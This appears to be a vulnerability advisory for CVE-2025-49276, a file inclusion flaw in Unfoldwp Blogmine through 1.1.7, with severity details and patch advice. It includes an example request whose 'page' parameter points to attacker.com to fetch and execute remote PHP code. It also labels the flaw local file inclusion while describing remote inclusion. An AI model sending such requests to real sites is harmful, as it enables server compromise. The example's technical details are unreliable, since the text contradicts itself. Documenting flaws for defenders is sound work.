Overview
CVE-2025-49276 is a high severity vulnerability that pertains to Unfoldwp Blogmine, a popular blogging platform. This vulnerability arises due to an improper control of filename for include/require statements in the PHP program, which can lead to a PHP Local File Inclusion (LFI). Given the broad usage of the Blogmine platform, this vulnerability has the potential to impact a vast number of websites and their users.
The risk associated with this vulnerability is significant, as it has the potential to compromise systems or lead to data leakage. It is therefore imperative for system administrators and developers who utilize Blogmine to understand this vulnerability and take immediate steps for its mitigation.
Vulnerability Summary
CVE ID: CVE-2025-49276
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage
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Product | Affected Versions
Unfoldwp Blogmine | n/a through 1.1.7
How the Exploit Works
The vulnerability arises from the improper control of the filename in the include/require statements of a PHP program in Unfoldwp Blogmine. An attacker can exploit this vulnerability by manipulating the filename parameter in a PHP include/require statement to point to a remote file. This remote file can contain malicious PHP code that the server will execute.
This allows the attacker to execute arbitrary PHP code on the target server, potentially compromising the system’s integrity and confidentiality. The attacker could gain unauthorized access to sensitive data, manipulate content, or perform other unauthorized actions on the system.
Conceptual Example Code
The following is a conceptual example of how the vulnerability might be exploited. Here, the attacker manipulates the ‘page’ parameter to point to a remote file that contains malicious PHP code.
GET /index.php?page=http://attacker.com/malicious_code.txt HTTP/1.1
Host: vulnerable-website.comThe server would then fetch the malicious_code.txt file from the attacker’s server and execute the contained PHP code.
Mitigation Guidance
The recommended mitigation strategy for this vulnerability is to apply the vendor patch. Users of Unfoldwp Blogmine are advised to upgrade to the latest version as soon as possible. As a temporary mitigation, Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can be used to block attempts to exploit this vulnerability. However, these are only temporary solutions, and a patch should be applied as soon as it is available.